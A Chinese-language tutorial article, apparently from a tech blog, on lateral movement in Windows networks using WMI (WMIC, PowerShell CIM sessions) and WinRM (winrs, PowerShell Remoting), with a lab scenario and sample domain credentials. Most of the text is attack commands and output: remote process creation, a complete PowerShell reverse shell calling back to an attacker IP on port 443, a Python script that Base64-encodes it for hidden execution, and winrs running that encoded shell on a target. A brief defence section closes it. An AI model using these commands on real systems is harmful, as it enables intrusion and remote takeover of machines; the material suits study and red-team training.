当前位置: 首页 > news >正文

基于WMI与WinRM的横向移动技术深度解析

引言

在现代网络安全领域,横向移动(Lateral Movement)是攻击者从初始入侵点扩展至网络内部其他系统的重要手段。通过利用Windows操作系统内置的管理工具和技术,如Windows Management Instrumentation(WMI)和Windows Remote Management(WinRM),攻击者能够在目标网络中悄无声息地移动并提升权限。本文将深入探讨WMI和WinRM的工作原理、实现方式及其在横向移动中的具体应用,结合代码示例和实际场景,全面剖析这两种技术的攻击潜力与防御策略。


第一章:WMI技术基础

1.1 WMI概述

Windows Management Instrumentation(WMI)是微软开发的一种面向对象的管理框架,旨在为管理员和开发者提供自动化任务执行的能力。它通过提供对系统资源、硬件和软件的统一访问接口,成为Windows系统中不可或缺的一部分。WMI的核心功能包括查询系统信息、管理服务以及创建和管理进程。

WMI通过Win32_Process类的Create方法支持远程进程创建,这一特性使其成为横向移动的理想工具。通信层面,WMI依赖远程过程调用(RPC),默认使用135端口进行初始连接,随后在19152至65535的高端口范围内传输会话数据。

1.2 WMI的通信机制

WMI的远程访问基于分布式组件对象模型(DCOM),通过RPC协议实现跨主机通信。攻击者利用这一机制,可以在无需直接登录目标系统的情况下执行命令或启动进程。然而,成功的WMI操作需要目标主机的管理员权限,通常要求攻击者具备本地Administrators组成员的凭据或域用户权限。

1.3 WMI的横向移动潜力

WMI在横向移动中的应用主要体现在其隐蔽性和灵活性。传统的攻击工具可能触发安全软件的警报,而WMI作为系统内置组件,通常被视为合法操作,难以被检测。此外,WMI支持脚本化执行(如PowerShell),进一步提升了攻击的自动化程度。


第二章:通过WMIC实现横向移动

2.1 WMIC简介

WMIC(WMI Command-line)是WMI的命令行接口,尽管在Windows最新版本中已被弃用,但其历史上的广泛使用使其成为研究WMI攻击的经典案例。WMIC通过简单的命令行参数即可实现远程进程创建。

2.2 WMIC攻击示例

假设攻击者当前位于客户端机器CLIENT74,目标是服务器Files04(IP地址为192.168.50.73),并拥有域用户jen的凭据(密码为Nexus123!)。以下是使用WMIC启动远程计算器(calc)的步骤:

C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"

执行结果显示:

Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 752;
        ReturnValue = 0;
};

返回值为0表示进程创建成功,目标机器的任务管理器中将出现由jen用户运行的calc.exe进程。

2.3 会话隔离与进程特性

值得注意的是,自Windows Vista起引入的会话隔离机制使得系统进程和服务默认运行在会话0中。由于WMI提供程序主机(WMI Provider Host)作为系统服务运行,通过WMI创建的新进程同样位于会话0。这一特性限制了某些交互式进程的可见性,但在非交互式攻击场景中影响较小。

2.4 WMIC的局限性与弃用

尽管WMIC简单易用,但其命令行特性使其易于被日志记录和检测。此外,微软已逐步淘汰WMIC,转而推荐使用PowerShell,这促使攻击者转向更现代化的WMI实现方式。


第三章:通过PowerShell实现WMI攻击

3.1 PowerShell的优势

相比WMIC,PowerShell提供了更强大的脚本支持和更高的灵活性。通过PowerShell,攻击者可以构造复杂的WMI调用,实现从简单进程创建到完整反向Shell的多种攻击场景。

3.2 创建PSCredential对象

在PowerShell中执行WMI攻击的第一步是构造凭据对象。以下是创建jen用户凭据的代码:

$username = 'jen'
$password = 'Nexus123!'
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString

此代码将密码转换为安全字符串,并封装为PSCredential对象,用于后续认证。

3.3 建立CIM会话

PowerShell通过Common Information Model(CIM)管理WMI操作。以下是创建CIM会话的步骤:

$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $options
$command = 'calc'

这里指定DCOM协议并连接目标IP(192.168.50.73),有效负载为启动计算器。

3.4 执行WMI调用

最后,通过Invoke-CimMethod命令执行远程进程创建:

Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$command}

执行结果显示新进程ID(例如3712)和返回值为0,表明攻击成功。

3.5 从简单进程到反向Shell

为了提升攻击效果,可以将有效负载替换为PowerShell编写的反向Shell。以下是一个基础反向Shell代码:

$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

为避免特殊字符问题,使用Python将此代码编码为Base64:

import base64
payload = '$client = New-Object ...'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)

运行后得到Base64编码的命令,替换$command变量并执行,最终在攻击者Kali机器的Netcat监听器(端口443)上获得Shell。


第四章:WinRM技术基础与应用

4.1 WinRM概述

Windows Remote Management(WinRM)是微软对WS-Management协议的实现,基于HTTP/HTTPS传输XML消息,默认使用5985(HTTP)和5986(HTTPS)端口。WinRM支持远程主机管理,是PowerShell远程处理和多种内置工具(如winrs)的核心组件。

4.2 通过WinRS实现横向移动

WinRS(Windows Remote Shell)是WinRM的命令行工具,要求目标主机上的用户属于Administrators或Remote Management Users组。以下是使用jen凭据远程执行命令的示例:

C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
FILES04
corp\jen

输出确认命令在目标主机Files04上成功执行。

4.3 WinRS与反向Shell

将命令替换为Base64编码的反向Shell后,攻击者可获得完整的远程控制:

C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD..."

Netcat监听器收到来自Files04的Shell,进一步验证了攻击成功。

4.4 PowerShell Remoting

PowerShell通过New-PSSession支持WinRM远程会话:

$credential = New-Object System.Management.Automation.PSCredential 'jen', (ConvertTo-SecureString 'Nexus123!' -AsPlaintext -Force)
New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Enter-PSSession 1

进入会话后,可直接运行命令验证权限和主机名。


第五章:WMI与WinRM的对比与防御

5.1 技术对比

  • 通信协议:WMI使用DCOM/RPC,WinRM基于HTTP/HTTPS。
  • 端口:WMI(135+高端口),WinRM(5985/5986)。
  • 隐蔽性:WMI更低调,WinRM易被网络流量检测。
  • 灵活性:WinRM支持交互式会话,WMI更适合单次执行。

5.2 防御策略

  • 限制权限:移除不必要的管理员权限,启用UAC。
  • 网络隔离:限制135、5985、5986端口的访问。
  • 日志监控:记录WMI和WinRM活动,检测异常进程创建。
  • 禁用服务:在非必要主机上禁用WMI和WinRM。

结论

WMI和WinRM作为Windows管理工具,在横向移动中展现出强大的攻击潜力。通过WMIC、PowerShell和WinRS等工具,攻击者可以轻松实现远程进程创建和权限提升。理解这些技术的原理和实现方式,不仅有助于攻击模拟,也为防御设计提供了关键洞察。在日益复杂的网络威胁环境中,掌握WMI和WinRM的双刃剑特性至关重要。

相关文章:

  • C语言函数递归
  • 程序化广告行业(44/89):岗位职责与RTB竞价逻辑深度解析
  • 算法练习篇目:删除有序数组中的重复项
  • Spring Cloud Alibaba 技术全景与实战指南
  • 多路径软件multipath配置详解
  • 【Linux】线程互斥同步
  • 【力扣hot100题】(018)螺旋矩阵
  • 借助FastAdmin和uniapp,高效搭建AI智能平台
  • 基于Python的火车票管理系统的设计与实现
  • 使用jieba库进行TF-IDF关键词提取
  • 深入解析C++继承机制:从基础到多态实现
  • C++ STL常用算法之常用集合算法
  • 从零构建大语言模型全栈开发指南:第三部分:训练与优化技术-3.3.2参数高效微调:LoRA与适配器(Adapter)技术
  • 子网划分浅度解析
  • Kotlin基础知识学习(五)
  • Set,Map,WakeSet,WakeMap
  • 虚拟pinctrl驱动
  • ZGC初步了解
  • 【小技巧】如何查看容器的启动参数
  • Java 大视界 -- Java 大数据在智能电网电力市场交易数据分析与策略制定中的关键作用(162)